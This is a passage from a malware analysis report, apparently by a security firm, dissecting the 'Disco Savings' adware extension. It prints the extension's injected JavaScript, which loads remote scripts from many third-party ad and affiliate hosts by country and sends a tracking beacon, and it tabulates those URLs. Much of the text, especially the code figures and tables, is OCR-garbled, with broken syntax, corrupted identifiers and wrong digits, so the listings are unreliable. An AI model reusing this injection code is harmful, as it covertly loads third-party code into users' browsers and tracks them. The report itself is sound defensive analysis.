savings",httpsUrl:"https://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_DISTRIBUTER_ID=3002
91319428000000&BRAND_DISPLAY_NAME=disco savings",pluginld:242});

_inGeo__(["US","DE","UK"])| | __utilityAddition__({httpUrl:"http://i.crbsjs.info/crbf/javascript.js?channel=crdr_
300291319428000000&appTitle=disco

savings&hid=76aa6319040f693c91a2fd0f149e819a", httpsUrl:"https://i_crbsjs_info.tlscdn.com/crbf/javascript
Jjs?channel=crdr_300291319428000000&appTitle=disco
savings&hid=76aa6319040f693c91a2fd0f149e819a",pluginld:102});

__utilityAddition__({httpUrl:"http://istatic.eshopcomp.com/fo/min/crqc.js?hid=76aa6319040f693c91a2fd0f14
9e819a&bname=disco

savings&subid=300291319428000000", httpsUrl:"https://istatic.eshopcomp.com/fo/min/crqc.js?hid=76aa631
9040f693c91a2fd0f149e819a&bname=disco savings&subid=300291319428000000",pluginld:288});

__inGeo__("MXIN CO ES CL DE US BE UK CA AU".split("
")&&__utilityAddition__({httpUrl:"http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942800
0000&san=disco

savings" httpsUrl:"https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=300291319428000000&san=di
sco savings",pluginld:302});

__utilityAddition__({httpUrl:"http://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/1.js?pid=2295&ext=disco
savings",httpsUrl:"https://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/1.js?pid=2295&ext=disco
savings",pluginld:390});__utilityAddition__({httpUrl:"http://cdncache-
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a.akamaihd.net/sub/h0982be/300291319428000000/1.js?pid=2294&ext=disco
savings",httpsUrl:"https://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/1.js?pid=2294&ext=disco savings",pluginld:391});

__inGeo__(["US","UK","DE","FR","IT"])&&parselnt("1428508580000",10)+432E5<=(new
Date).getTime()&&(__utilityAddition__({httpUrl:"http://asrv-
a.akamaihd.net/sd/1700/1046.js",httpsUrl:"https://asrv-
a.akamaihd.net/sd/1700/1046.js",pluginld:230}),window._rvz1700x1046={publisher_subid:"30029131942800
0000",addonname:"disco savings"});

__inGeo__("DE AT CH FR PL RU IN BR NL ES IT".split("
")&&__utilityAddition__({httpUrl:"http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?partn
erName=disco
savings",httpsUrl:"https://rules.foxydeal.com/v1.0/whitelist/1070/3002913194280000007?partnerName=disco
savings",pluginld:200});

__inGeo__("DE AT CH FR PL RU IN BR NL ES IT".split("

") | | _utilityAddition__({httpUrl:"http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280000
00&name=disco
savings",httpsUrl:"https://api.jollywallet.com/affiliate/client?dist=329&sub=300291319428000000&name=dis
co savings",pluginld:385});

__utilityAddition__({httpUrl:"http://cdn.visadd.com/script/14567725641/preload.js?subid=300291319428000
0007um=Ads%20By%20Browser%20Extension",httpsUrl:"https://cdn.visadd.com/script/14567725641/preloa
d.js?subid=300291319428000000?um=Ads%20By%20Browser%20Extension",pluginid:307});

__utilityAddition__({httpUrl:"http://a.tfxiq.com/a.php?626ref2=300291319428000000&626Name=disco
savings&626ref3=76aa6319040f693c91a2fd0f149e819a&626ref1=63726f73737269646572&teid=73143&tui
d=76aa6319040f693c91a2fd0f149e819a", httpsUrl:"https://a.tfxiq.com/a.php?626ref2=300291319428000000
&626Name=disco
savings&626ref3=76aa6319040f693c91a2fd0f149e819a&626ref1=63726f73737269646572&teid=73143&tui
d=76aa6319040f693c91a2fd0f149e819a",pluginid:180});

__inGeo_ ("US UK RU IN BR DE FR ES NL DE AU CA AR MX BE CO".split("

") | | __utilityAddition__({httpUrl:"http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignld=002913
&countryCode=194&installationTime=1428508580000&app!|D=73143&IBIC=76aa6319040f693c91a2fd0f149
€819a&subID=300291319428000000&appName=disco

savings&asw=[1&browserName=ff" httpsUrl:"https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&camp
aignld=002913&countryCode=194&installationTime=1428508580000&applD=73143&IBIC=76aa6319040f69
3c91a2fd0f149e819a&sublD=300291319428000000&appName=disco savings&asw=[]&browserName=ff",

pluginld:277});__inGeo__(["US","UK"])| | __utilityAddition__({httpUrl:"http://cjs.linkbolic.com/scjs/cjs/ctx|s.js?aff
_id=1145&subaff_id=300291319428000000&sbrand=disco
savings",httpsUrl:"https://cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1145&subaff_id=300291319428000000&sb
rand=disco savings",pluginld:273});

_inGeo__(["US"])&&__utilityAddition__({httpUrl:"http://nps.pastaleads.com/npsb/logic.js?Originld=E8A4A23A
-B034-E211-A9A0-001517D10F6E&Siteld=Sales&Partner|D=20000&ProductName=disco
savings&Toolbarld=300291319428000000",httpsUrl:"https://nps.pastaleads.com/npsb/logic.js?Originld=E8A
4A23A-B034-E211-A9A0-001517D10F6E&Siteld=Sales&PartnerID=20000&ProductName=disco
savings&Toolbarld=300291319428000000",pluginld:184});

try{var rand=Math.floor(1E11*Math.random())%100+1;if(10>=rand){var is_https="string"===typeof
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document.location.protocol&&0===document.location.protocol.indexOf("https"),query_for_sanity="monetiz
ation.gif?event=9&campaign=002913&ibic=76aa6319040f693c91a2fd0f149e819a&verifier=0473c4f7ec330f7
ccabbc792ff716c0a&browser=ff&rand="+Math.floor(1111*Math.random()),domain_for_sanity=is_https?"http
s://m9u9b7r5.ssl.hwcdn.net/":"http://logs.buildomserv.com/",tag=document.createElement("img");tag.setAtt
ribute("src",domain_for_sanity+

query_for_sanity);(document.getElementsByTagName("body")[0] | | document.getElementsByTagName("hea
d")[0]).appendChild(tag)}}catch(e$$7){};

Analyzing the Injected Code

We've figured out what JavaScript code gets injected into the web browser, but we haven't looked at
what that JavaScript actually does. Let's first take a look at the __utilityAddition__ function appearing at
the beginning of the JavaScript file. The whole function can be seen below.

1 function __uti'l.ityA:l:lit'iDn_!(a) {

2 function f{) {

3 if (‘undefined' === typeof window['__utils_73143__' + a.pluginId]) {

4 var d = document.createElement('script');

5 var b = a.httpslrl;

& wvar © = a.httplrl;

7 d.setAttribute( type', 'text/javascript');

a if {'=tring' === typeof document.location.protocol && © === document.location.protocol.indexOf('http=')) {
) if {!b || @ === b.length] return;

1e d.setAttribute'=rc', b)

11 1 else d.setAttribute('src', c);

12 (document. getElementsByTagName( 'head ') [B] || document.getElementsByTagMame( 'body ') [@]).appendChild(d);
13 window['__utils_73143__' + a.pluginld] = !B

14 1

15 1

16 var c = 0;

17 if (! (document && document.location && 'string' == typeof document.location.host && B <= document.location.host.indexO0f('facebook.com') && 194 !== a.pluginld)) {
18 f (!document || !document.body) {

1% var id = setInterval{function{) {

el wvar tag = (document.getElementsByTagName( 'head')[B] || document.getElementsByTagName('body')[B]]);
21 if (!document || !document.body || !tag) {

22 if (c > 28) {

23 clearInterval(id);

24 return;

25 1

26 cH+;

27 return;

28 1

28 LA

kL) }, 5688);

31 1 else |

32 RtH

33 1

34 1

35 }

Figure 34: The _ utilityAddition__function

The function contains a nested function f(), which is called by the rest of the code in the same function.
On the line 17, there's an if clause checking whether the document.location exists and whether the
document.location.host is a string: if we have visited some URL address, those will both evaluate to
true. Then it checks whether we're located on the facebook.com website by using the
document.location.host.indexOf function, which returns -1 if the substring “facebook.com” isn't found.
At last it checks whether the pluginld is not 194; later on, we'll see that none the pluginld 194 is not set
anywhere by the script, so this check is redundant. Therefore, the if clause checks whether we're
located on any website except facebook.com.

The function then uses the setinterval function to execute the body of the function every 500

Protean Security © All Rights Reserved info@proteansec.com | www.proteansec.com Page 34 of 57


http://www.proteansec.com/

Analysis of Disco Savings Adware Protean Security

milliseconds. The body of the function then finds the element head or body in the current website. If
none of those HTML elements is found, it will add 1 to the counter ¢, which will be called at most 20
times (by continuously calling the function body every 500 milliseconds), otherwise the time will be
stopped by calling the clearinterval function and the process won't repeat anymore.

Regardless of what the code does, the function f() will be called anyway. The function checks whether
the browser has an open window by an ID starting with “__utils_73143__". If that isn't the case, the code
will create a new script element, add a 'text/javascript' type attribute and create the src attribute based
on whether the current webpage URL address starts on 'http' or 'https'. The actual src to be appended
to the <script> element is passed to the __utilityAddition__ function through httpUrl and httpsUrl
parameters.

The __utilityAddition__ function is called multiple times as presented below. Note that the __inGeo__
function checks whether the inputted string contains the Sl country code, which is the country code of
Slovenia. This is used by the plugin to only load certain JavaScript files if they originate from a specific
country, while otherwise they are not loaded. Part of the process of loading those scripts can be seen

below.

37 function __inGeo__{a) {

38 return 2<=a.index0f{"5I")

38 1

40

A1 __dnmGeo__{["IL"]) && {__utilityAddition__=function({){1});

42 __dnmGeo__{["Us", "DE", "UK']) B& __uvtilityaAddition__({

43 httpUrl: "http://inst.shoppingate.info/js/sg_bg.js?
AFFILIATE_ID=cr=rdr&SUB_DISTRIEUTER_ID=3002513154280000008BRAND _DISPLAY _MAME=disco sawvings",

e} httpsUrl: "https://inst.shoppingate.info/js/sg_bg.js?
AFFILIATE_ID=crsrdr&SUB_DISTRIBUTER_ID=32025131942800000E8BRAND_DISPLAY _MWAME=disco sawvings",

45 pluginld: 242

46 113

47 __dinGeo__{["Us™, "DE", "UK"]) || __utilityAddition__({

43 httpUrl: "http://i.crbsjs.infofcrbf/javascript.js?channel=crdr_3002%1313428000000&appTitle=disco
savings&khid=TEaat3 13248 FfEE3cElal fdBF14328150a"

49 httpsUrl: "https://1_crbsjs_info.tlscdn.com/crbf/javascript.js?

channel=crdr_38825%131%428000000&appTitle=disco savingskhid=TEaab31%040FE53c%1al fdOF14%e815%a" ,

=12 pluginld: 1B82

5l iy __utilityAddition__({{

52 httpUrl: "http://istatic.eshopcomp.com/fo/min/crgo. jsThid=TEaab31%040FE53c0]1al fdOFl4%ed]1%abbname=disco
savingsksubid=30029131%428688000",

B3 httpsUrl: "https://istatic.eshopcomp. com/fo/min/crgo.js?
hid=Teaak3 15048653 ctla FfdEFfl4Geilbakbname=disco savingshsubid=30025%1315428000E06"

54 pluginld: 288

55

[

Figure 35: Loading additional scripts based on originating country

The table below presents the scripts that are loaded regardless of the country from where the
JavaScript gets loaded.

Table 2: URLs being loaded by the malicious extension regardless of the country of origin

http://istatic.eshopcomp.com/fo/min/crgc.js?hid=76aa6319040f693c91a  https://istatic.eshopcomp.com/fo/min/crqc.js?hid=76aa6319040f693c91a2
2fd0f149e819a&bname=disco savings&subid=300291319428000000 fd0f149e819a&bname=disco savings&subid=300291319428000000
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http://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/I.js?pid=2295&ext=
disco savings

http://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/1.js?pid=2294 &ext=
disco savings

http://cdn.visadd.com/script/14567725641/preload.js?subid=300291319
428000000?um=Ads%20By%20Browser%20Extension

http://a.tfxiq.com/a.php?626ref2=300291319428000000&626Name=dis
co
savings&626ref3=76aa6319040f693c91a2fd0f149e819a&626refl=6372
6f73737269646572&teid=73143&tuid=76aa6319040f693c91a2fd0f149
€819

http://logs.buildomserv.com/monetization.gif?event=9&campaign=0029
13&ibic=762a6319040f693c91a2fd0f149e819a&verifier=0473c4f7ec33
0f7ccabbc792ff716c0a&browser=ff&rand=908

Protean Security

https://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/I.js?pid=2295&ext=d
isco savings

https://cdncache-
a.akamaihd.net/sub/h0982be/300291319428000000/1.js?pid=2294 &ext=d
isco savings

https://cdn.visadd.com/script/14567725641/preload.js?subid=3002913194
28000000?2um=Ads%20By%20Browser%20Extension

https://a.tfxigq.com/a.php?626ref2=300291319428000000&626Name=dis
co
savings&626ref3=76aa6319040f693c91a2fd0f149e819a&626refl=63726
f73737269646572&teid=73143&tuid=76aa6319040f693c91a2fd0f149e8
19

https://m9u9b7r5.ssl.hwedn.net/monetization.gif?event=9&campaign=00
2913&ibic=762a6319040f693c91a2fd0f149e819a&verifier=0473c4f7ec3
30f7ccabbc792ff716c0a&browser=ff&rand=908

The table below presents the scripts that are loaded regarding the country from where the JavaScript

gets loaded.

Table 3: URLs being loaded by the malicious extension regarding the country of origin

US (United States)

http://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_D
ISTRIBUTER_1D=300291319428000000&BRAND_DISPLAY_NAME
=disco savings

http://i.crbsjs.info/crbf/javascript.js?channel=crdr_300291319428000000
&appTitle=disco savings&hid=76aa6319040f693c91a2fd0f149e819a

http://asrv-a.akamaihd.net/sd/1700/1046.js

http://cdn.staticwebdom.com/js/a.js?namespace=LITE &campaignld=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a26319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

http://cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1145&subaff id=300291
319428000000&shrand=disco savings

http://nps.pastaleads.com/npsb/logic.js?0riginld=E8 A4A23A-B034-
E211-A9A0-
001517D10F6E&Siteld=Sales&PartnerID=20000&ProductName=disco
savings&Toolbarld=300291319428000000

DE (Germany)

http://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_D
ISTRIBUTER_ID=300291319428000000&BRAND_DISPLAY_NAME
=disco savings

http://i.crbsjs.info/crbf/javascript.js?channel=crdr_300291319428000000
&appTitle=disco savings&hid=76aa6319040f693c91a2fd0f149e819a

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignld=002
913&countryCode=194&installationTime=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

https://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_D
ISTRIBUTER_1D=300291319428000000&BRAND_DISPLAY_NAME
=disco savings

https://i_crbsjs_info.tlscdn.com/crbf/javascript.js?channel=crdr_3002913
19428000000&appTitle=disco
savings&hid=76aa6319040f693c91a2fd0f149e819a

https://asrv-a.akamaihd.net/sd/1700/1046.js

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1145&subaff id=300291
319428000000&shrand=disco savings

https://nps.pastaleads.com/npsb/logic.js?0riginld=E8A4A23A-B034-
E211-A9A0-
001517D10F6E&Siteld=Sales&PartnerlD=20000&ProductName=disco
savings&Toolbarld=300291319428000000

https://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_D
ISTRIBUTER_1D=300291319428000000&BRAND_DISPLAY_NAME
=disco savings

https://i_crbsjs_info.tlscdn.com/crbf/javascript.js?channel=crdr_3002913
19428000000&appTitle=disco
savings&hid=76aa6319040f693c91a2fd0f149e819a

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=76aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff
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http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://asrv-a.akamaihd.net/sd/1700/1046.js
UK (United Kingdom)

http://inst.shoppingate.info/js/sg_bg.js? AFFILIATE_ID=crsrdr&SUB_D
ISTRIBUTER_ID=300291319428000000&BRAND_DISPLAY_NAME
=disco savings

http://i.crbsjs.info/crbf/javascript.js?channel=crdr_300291319428000000
&appTitle=disco savings&hid=76aa6319040f693c91a2fd0f149e819a

http://asrv-a.akamaihd.net/sd/1700/1046.js

http://cdn.staticwebdom.com/js/a.js?namespace=LITE &campaignld=002
913&countryCode=194&installationTime=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

http://cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1145&subaff_id=300291
319428000000&shrand=disco savings

MX (Mexico)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignid=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

IN (India)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignid=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

CO (Colombia)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE &campaignld=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a26319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

ES (Spain)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignld=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

CL (Chile)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

BE (Belgium)
http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
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https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://asrv-a.akamaihd.net/sd/1700/1046.js

https://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_D
ISTRIBUTER_ID=300291319428000000&BRAND_DISPLAY_NAME
=disco savings

https://i_crbsjs_info.tlscdn.com/crbf/javascript.js?channel=crdr_3002913
19428000000&appTitle=disco
savings&hid=76aa6319040f693c91a2fd0f149e819a

https://asrv-a.akamaihd.net/sd/1700/1046.js

https://d2a8a4q9.ssl.hwedn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1145&subaff_id=300291
319428000000&shrand=disco savings

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329 &sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=76aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installation Time=1428508580000&appID=7
3143&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
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8000000&san=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignid=002
913&countryCode=194&installationTime=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

CA (Canada)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE &campaignld=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

AU (Australia)

http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignld=002
913&countryCode=194&installationTime=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

FR (France)
http://asrv-a.akamaihd.net/sd/1700/1046.js

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE &campaignld=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a26319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

AT (Austria)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

CH (Switzerland)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

PL (Poland)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

RU (Russia)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignid=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

BR (Brazil)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

Protean Security

8000000&san=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://d2a8a4q9.ssl.hwedn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=30029131942
8000000&san=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://asrv-a.akamaihd.net/sd/1700/1046.js

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwedn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installation Time=1428508580000&appID=7
3143&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329 &sub=3002913194280
00000&name=disco savings

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings
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http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignid=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

NL (Netherlands)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

http://cdn.staticwebdom.com/js/a.js?namespace=LITE &campaignld=002
913&countryCode=194&installationTime=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

IT (1taly)

http://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

http://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

AR (Argentina)

http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignid=002
913&countryCode=194&installation Time=1428508580000&appID=731
43&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=300291319428
000000&appName=disco savings&asw=[]&browserName=ff

Protean Security

https://api.jollywallet.com/affiliate/client?dist=329&sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329 &sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwedn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762a6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

https://rules.foxydeal.com/v1.0/whitelist/1070/300291319428000000?par
tnerName=disco savings

https://api.jollywallet.com/affiliate/client?dist=329 &sub=3002913194280
00000&name=disco savings

https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=0
02913&countryCode=194&installationTime=1428508580000&appID=7
3143&IBIC=762aa6319040f693c91a2fd0f149e819a&sublD=3002913194
28000000&appName=disco savings&asw=[]&browserName=ff

All those URLs are appended as a child HTML elements to the <head> or <body> HTML elements. But
this doesn't conclude our analysis, since the there's additional code that gets executed and is presented

below.

The code calculates the random value from 1-100 and if the value is lower than 10, it processes the

body of the try catch, otherwise it doesn't do anything. In the body, it checks whether the currently
loaded website is located on http or https, which is used to select either

“https://m9u9b7r5.ssl.hwcdn.net/" or "http://logs.buildomserv.com/” domain. The function then creates

the <img> element, adds the previously presented URL address into the src attribute and appends the

whole element to the <body> or <head> HTML elements in the website.
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111 ery i

112 var rand = Math.floor{lEll * Math.random{})] % 1E8& + 1;

113 if (18 »= rand) {

114 var is_https = "string" === typeof document.location.protocol && B === document.location.protocol.
index0f{"http="],

115 guery_for_samity = "monetization.gif?

event=0kcampaign=0025138ibic=T6aat315040FE53chlal fdiFl4Ge8]babkveri Fier=0473c4fTec3 3B FfTccabbe T2 FFT1ECEakbrowser=FFir
and=" + Math.floor{1111 * Math.random{)),

